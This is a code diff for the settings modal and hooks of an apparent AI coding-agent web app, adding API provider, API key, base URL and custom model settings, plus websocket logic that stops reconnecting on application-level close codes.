||||
updateSettings.mutate({ api_auth_token: authTokenInput.trim() })
|
||||
setAuthTokenInput('')
|
||||
setShowAuthToken(false)
|
||||
}
|
||||
}
|
||||
|
||||
const handleSaveCustomBaseUrl = () => {
|
||||
if (customBaseUrlInput.trim() && !updateSettings.isPending) {
|
||||
updateSettings.mutate({ api_base_url: customBaseUrlInput.trim() })
|
||||
}
|
||||
}
|
||||
|
||||
const handleSaveCustomModel = () => {
|
||||
if (customModelInput.trim() && !updateSettings.isPending) {
|
||||
updateSettings.mutate({ api_model: customModelInput.trim() })
|
||||
setCustomModelInput('')
|
||||
}
|
||||
}
|
||||
|
||||
const providers = providersData?.providers ?? []
|
||||
const models = modelsData?.models ?? []
|
||||
const isSaving = updateSettings.isPending
|
||||
const currentProvider = settings?.api_provider ?? 'claude'
|
||||
const currentProviderInfo: ProviderInfo | undefined = providers.find(p => p.id === currentProvider)
|
||||
const isAlternativeProvider = currentProvider !== 'claude'
|
||||
const showAuthField = isAlternativeProvider && currentProviderInfo?.requires_auth
|
||||
const showBaseUrlField = currentProvider === 'custom'
|
||||
const showCustomModelInput = currentProvider === 'custom' || currentProvider === 'ollama'
|
||||
|
||||
return (
|
||||
<Dialog open={isOpen} onOpenChange={(open) => !open && onClose()}>
|
||||
<DialogContent className="sm:max-w-sm">
|
||||
<DialogContent aria-describedby={undefined} className="sm:max-w-sm max-h-[85vh] overflow-y-auto">
|
||||
<DialogHeader>
|
||||
<DialogTitle className="flex items-center gap-2">
|
||||
Settings
|
||||
@@ -159,6 +214,147 @@ export function SettingsModal({ isOpen, onClose }: SettingsModalProps) {
|
||||
|
||||
<hr className="border-border" />
|
||||
|
||||
{/* API Provider Selection */}
|
||||
<div className="space-y-3">
|
||||
<Label className="font-medium">API Provider</Label>
|
||||
<div className="flex flex-wrap gap-1.5">
|
||||
{providers.map((provider) => (
|
||||
<button
|
||||
key={provider.id}
|
||||
onClick={() => handleProviderChange(provider.id)}
|
||||
disabled={isSaving}
|
||||
className={`py-1.5 px-3 text-sm font-medium rounded-md border transition-colors ${
|
||||
currentProvider === provider.id
|
||||
? 'bg-primary text-primary-foreground border-primary'
|
||||
: 'bg-background text-foreground border-border hover:bg-muted'
|
||||
} ${isSaving ? 'opacity-50 cursor-not-allowed' : ''}`}
|
||||
>
|
||||
{provider.name.split(' (')[0]}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground">
|
||||
{PROVIDER_INFO_TEXT[currentProvider] ?? ''}
|
||||
</p>
|
||||
|
||||
{/* Auth Token Field */}
|
||||
{showAuthField && (
|
||||
<div className="space-y-2 pt-1">
|
||||
<Label className="text-sm">API Key</Label>
|
||||
{settings.api_has_auth_token && !authTokenInput && (
|
||||
<div className="flex items-center gap-2 text-sm text-muted-foreground">
|
||||
<ShieldCheck size={14} className="text-green-500" />
|
||||
<span>Configured</span>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
className="h-auto py-0.5 px-2 text-xs"
|
||||
onClick={() => setAuthTokenInput(' ')}
|
||||
>
|
||||
Change
|
||||
</Button>
|
||||
</div>
|
||||
)}
|
||||
{(!settings.api_has_auth_token || authTokenInput) && (
|
||||
<div className="flex gap-2">
|
||||
<div className="relative flex-1">
|
||||
<input
|
||||
type={showAuthToken ? 'text' : 'password'}
|
||||
value={authTokenInput.trim()}
|
||||
onChange={(e) => setAuthTokenInput(e.target.value)}
|
||||
placeholder="Enter API key..."
|
||||
className="w-full py-1.5 px-3 pe-9 text-sm border rounded-md bg-background"
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setShowAuthToken(!showAuthToken)}
|
||||
className="absolute end-2 top-1/2 -translate-y-1/2 text-muted-foreground hover:text-foreground"
|
||||
>
|
||||
{showAuthToken ? <EyeOff size={14} /> : <Eye size={14} />}
|
||||
</button>
|
||||
</div>
|
||||
<Button
|
||||
size="sm"
|
||||
onClick={handleSaveAuthToken}
|
||||
disabled={!authTokenInput.trim() || isSaving}
|
||||
>
|
||||
Save
|
||||
</Button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Custom Base URL Field */}
|
||||
{showBaseUrlField && (
|
||||
<div className="space-y-2 pt-1">
|
||||
<Label className="text-sm">Base URL</Label>
|
||||
<div className="flex gap-2">
|
||||
<input
|
||||
type="text"
|
||||
value={customBaseUrlInput || settings.api_base_url || ''}
|
||||
onChange={(e) => setCustomBaseUrlInput(e.target.value)}
|
||||
placeholder="https://api.example.com/v1"
|
||||
className="flex-1 py-1.5 px-3 text-sm border rounded-md bg-background"
|
||||
/>
|
||||
<Button
|
||||
size="sm"
|
||||
onClick={handleSaveCustomBaseUrl}
|
||||
disabled={!customBaseUrlInput.trim() || isSaving}
|
||||
>
|
||||
Save
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Model Selection */}
|
||||
<div className="space-y-2">
|
||||
<Label className="font-medium">Model</Label>
|
||||
{models.length > 0 && (
|
||||
<div className="flex rounded-lg border overflow-hidden">
|
||||
{models.map((model) => (
|
||||
<button
|
||||
key={model.id}
|
||||
onClick={() => handleModelChange(model.id)}
|
||||
disabled={isSaving}
|
||||
className={`flex-1 py-2 px-3 text-sm font-medium transition-colors ${
|
||||
(settings.api_model ?? settings.model) === model.id
|
||||
? 'bg-primary text-primary-foreground'
|
||||
: 'bg-background text-foreground hover:bg-muted'
|
||||
} ${isSaving ? 'opacity-50 cursor-not-allowed' : ''}`}
|
||||
>
|
||||
<span className="block">{model.name}</span>
|
||||
<span className="block text-xs opacity-60">{model.id}</span>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
{/* Custom model input for Ollama/Custom */}
|
||||
{showCustomModelInput && (
|
||||
<div className="flex gap-2 pt-1">
|
||||
<input
|
||||
type="text"
|
||||
value={customModelInput}
|
||||
onChange={(e) => setCustomModelInput(e.target.value)}
|
||||
placeholder="Custom model name..."
|
||||
className="flex-1 py-1.5 px-3 text-sm border rounded-md bg-background"
|
||||
onKeyDown={(e) => e.key === 'Enter' && handleSaveCustomModel()}
|
||||
/>
|
||||
<Button
|
||||
size="sm"
|
||||
onClick={handleSaveCustomModel}
|
||||
disabled={!customModelInput.trim() || isSaving}
|
||||
>
|
||||
Set
|
||||
</Button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<hr className="border-border" />
|
||||
|
||||
{/* YOLO Mode Toggle */}
|
||||
<div className="flex items-center justify-between">
|
||||
<div className="space-y-0.5">
|
||||
@@ -195,27 +391,6 @@ export function SettingsModal({ isOpen, onClose }: SettingsModalProps) {
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Model Selection */}
|
||||
<div className="space-y-2">
|
||||
<Label className="font-medium">Model</Label>
|
||||
<div className="flex rounded-lg border overflow-hidden">
|
||||
{models.map((model) => (
|
||||
<button
|
||||
key={model.id}
|
||||
onClick={() => handleModelChange(model.id)}
|
||||
disabled={isSaving}
|
||||
className={`flex-1 py-2 px-3 text-sm font-medium transition-colors ${
|
||||
settings.model === model.id
|
||||
? 'bg-primary text-primary-foreground'
|
||||
: 'bg-background text-foreground hover:bg-muted'
|
||||
} ${isSaving ? 'opacity-50 cursor-not-allowed' : ''}`}
|
||||
>
|
||||
{model.name}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Regression Agents */}
|
||||
<div className="space-y-2">
|
||||
<Label className="font-medium">Regression Agents</Label>
|
||||
|
||||
@@ -107,16 +107,20 @@ export function useExpandChat({
|
||||
}, 30000)
|
||||
}
|
||||
|
||||
ws.onclose = () => {
|
||||
ws.onclose = (event) => {
|
||||
setConnectionStatus('disconnected')
|
||||
if (pingIntervalRef.current) {
|
||||
clearInterval(pingIntervalRef.current)
|
||||
pingIntervalRef.current = null
|
||||
}
|
||||
|
||||
// Don't retry on application-level errors (4xxx codes won't resolve on retry)
|
||||
const isAppError = event.code >= 4000 && event.code <= 4999
|
||||
|
||||
// Attempt reconnection if not intentionally closed
|
||||
if (
|
||||
!manuallyDisconnectedRef.current &&
|
||||
!isAppError &&
|
||||
reconnectAttempts.current < maxReconnectAttempts &&
|
||||
!isCompleteRef.current
|
||||
) {
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query'
|
||||
import * as api from '../lib/api'
|
||||
import type { FeatureCreate, FeatureUpdate, ModelsResponse, ProjectSettingsUpdate, Settings, SettingsUpdate } from '../lib/types'
|
||||
import type { FeatureCreate, FeatureUpdate, ModelsResponse, ProjectSettingsUpdate, ProvidersResponse, Settings, SettingsUpdate } from '../lib/types'
|
||||
|
||||
// ============================================================================
|
||||
// Projects
|
||||
@@ -254,20 +254,41 @@ export function useValidatePath() {
|
||||
// Default models response for placeholder (until API responds)
|
||||
const DEFAULT_MODELS: ModelsResponse = {
|
||||
models: [
|
||||
{ id: 'claude-opus-4-5-20251101', name: 'Claude Opus 4.5' },
|
||||
{ id: 'claude-sonnet-4-5-20250929', name: 'Claude Sonnet 4.5' },
|
||||
{ id: 'claude-opus-4-6', name: 'Claude Opus' },
|
||||
{ id: 'claude-sonnet-4-5-20250929', name: 'Claude Sonnet' },
|
||||
],
|
||||
default: 'claude-opus-4-5-20251101',
|
||||
default: 'claude-opus-4-6',
|
||||
}
|
||||
|
||||
const DEFAULT_SETTINGS: Settings = {
|
||||
yolo_mode: false,
|
||||
model: 'claude-opus-4-5-20251101',
|
||||
model: 'claude-opus-4-6',
|
||||
glm_mode: false,
|
||||
ollama_mode: false,
|
||||
testing_agent_ratio: 1,
|
||||
playwright_headless: true,
|
||||
batch_size: 3,
|
||||
api_provider: 'claude',
|
||||
api_base_url: null,
|
||||
api_has_auth_token: false,
|
||||
api_model: null,
|
||||
}
|
||||
|
||||
const DEFAULT_PROVIDERS: ProvidersResponse = {
|
||||
providers: [
|
||||
{ id: 'claude', name: 'Claude (Anthropic)', base_url: null, models: DEFAULT_MODELS.models, default_model: 'claude-opus-4-6', requires_auth: false },
|
||||
],
|
||||
current: 'claude',
|
||||
}
|
||||
|
||||
export function useAvailableProviders() {
|
||||
return useQuery({
|
||||
queryKey: ['available-providers'],
|
||||
queryFn: api.getAvailableProviders,
|
||||
staleTime: 300000,
|
||||
retry: 1,
|
||||
placeholderData: DEFAULT_PROVIDERS,
|
||||
})
|
||||
}
|
||||
|
||||
export function useAvailableModels() {
|
||||
@@ -319,6 +340,8 @@ export function useUpdateSettings() {
|
||||
},
|
||||
onSettled: () => {
|
||||
queryClient.invalidateQueries({ queryKey: ['settings'] })
|
||||
queryClient.invalidateQueries({ queryKey: ['available-models'] })
|
||||
queryClient.invalidateQueries({ queryKey: ['available-providers'] })
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
@@ -157,15 +157,18 @@ export function useSpecChat({
|
||||
}, 30000)
|
||||
}
|
||||
|
||||
ws.onclose = () => {
|
||||
ws.onclose = (event) => {
|
||||
setConnectionStatus('disconnected')
|
||||
if (pingIntervalRef.current) {
|
||||
clearInterval(pingIntervalRef.current)
|
||||
pingIntervalRef.current = null
|
||||
}
|
||||
|
||||
// Don't retry on application-level errors (4xxx codes won't resolve on retry)
|
||||
const isAppError = event.code >= 4000 && event.code <= 4999
|
||||
|
||||
// Attempt reconnection if not intentionally closed
|
||||
if (reconnectAttempts.current < maxReconnectAttempts && !isCompleteRef.current) {
|
||||
if (!isAppError && reconnectAttempts.current < maxReconnectAttempts && !isCompleteRef.current) {
|
||||
reconnectAttempts.current++
|
||||
const delay = Math.min(1000 * Math.pow(2, reconnectAttempts.current), 10000)
|
||||
reconnectTimeoutRef.current = window.setTimeout(connect, delay)
|
||||
|
||||
@@ -335,10 +335,14 @@ export function useProjectWebSocket(projectName: string | null) {
|
||||
}
|
||||
}
|
||||
|
||||
ws.onclose = () => {
|
||||
ws.onclose = (event) => {
|
||||
setState(prev => ({ ...prev, isConnected: false }))
|
||||
wsRef.current = null
|
||||
|
||||
// Don't retry on application-level errors (4xxx codes won't resolve on retry)
|
||||
const isAppError = event.code >= 4000 && event.code <= 4999
|
||||
if (isAppError) return
|
||||
|
||||
// Exponential backoff reconnection
|
||||
const delay = Math.min(1000 * Math.pow(2, reconnectAttempts.current), 30000)
|
||||
reconnectAttempts.current++
|
||||
|
||||
@@ -24,6 +24,7 @@ import type {
|
||||
Settings,
|
||||
SettingsUpdate,
|
||||
ModelsResponse,
|
||||
ProvidersResponse,
|
||||
DevServerStatusResponse,
|
||||
DevServerConfig,
|
||||
TerminalInfo,
|
||||
@@ -399,6 +400,10 @@ export async function getAvailableModels(): Promise<ModelsResponse> {
|
||||
return fetchJSON('/settings/models')
|
||||
}
|
||||
|
||||
export async function getAvailableProviders(): Promise<ProvidersResponse> {
|
||||
return fetchJSON('/settings/providers')
|
||||
}
|
||||
|
||||
export async function getSettings(): Promise<Settings> {
|
||||
return fetchJSON('/settings')
|
||||
}
|
||||
|
||||
@@ -525,6 +525,20 @@ export interface ModelsResponse {
|
||||
default: string
|
||||
}
|
||||
|
||||
export interface ProviderInfo {
|
||||
id: string
|
||||
name: string
|
||||
base_url: string | null
|
||||
models: ModelInfo[]
|
||||
default_model: string
|
||||
requires_auth: boolean
|
||||
}
|
||||
|
||||
export interface ProvidersResponse {
|
||||
providers: ProviderInfo[]
|
||||
current: string
|
||||
}
|
||||
|
||||
export interface Settings {
|
||||
yolo_mode: boolean
|
||||
model: string
|
||||
@@ -533,6 +547,10 @@ export interface Settings {
|
||||
testing_agent_ratio: number // Regression testing agents (0-3)
|
||||
playwright_headless: boolean
|
||||
batch_size: number // Features per coding agent batch (1-3)
|
||||
api_provider: string
|
||||
api_base_url: string | null
|
||||
api_has_auth_token: boolean
|
||||
api_model: string | null
|
||||
}
|
||||
|
||||
export interface SettingsUpdate {
|
||||
@@ -541,6 +559,10 @@ export interface SettingsUpdate {
|
||||
testing_agent_ratio?: number
|
||||
playwright_headless?: boolean
|
||||
batch_size?: number
|
||||
api_provider?: string
|
||||
api_base_url?: string
|
||||
api_auth_token?: string
|
||||
api_model?: string
|
||||
}
|
||||
|
||||
export interface ProjectSettingsUpdate {
|
||||
|
||||
Reference in New Issue
Block a user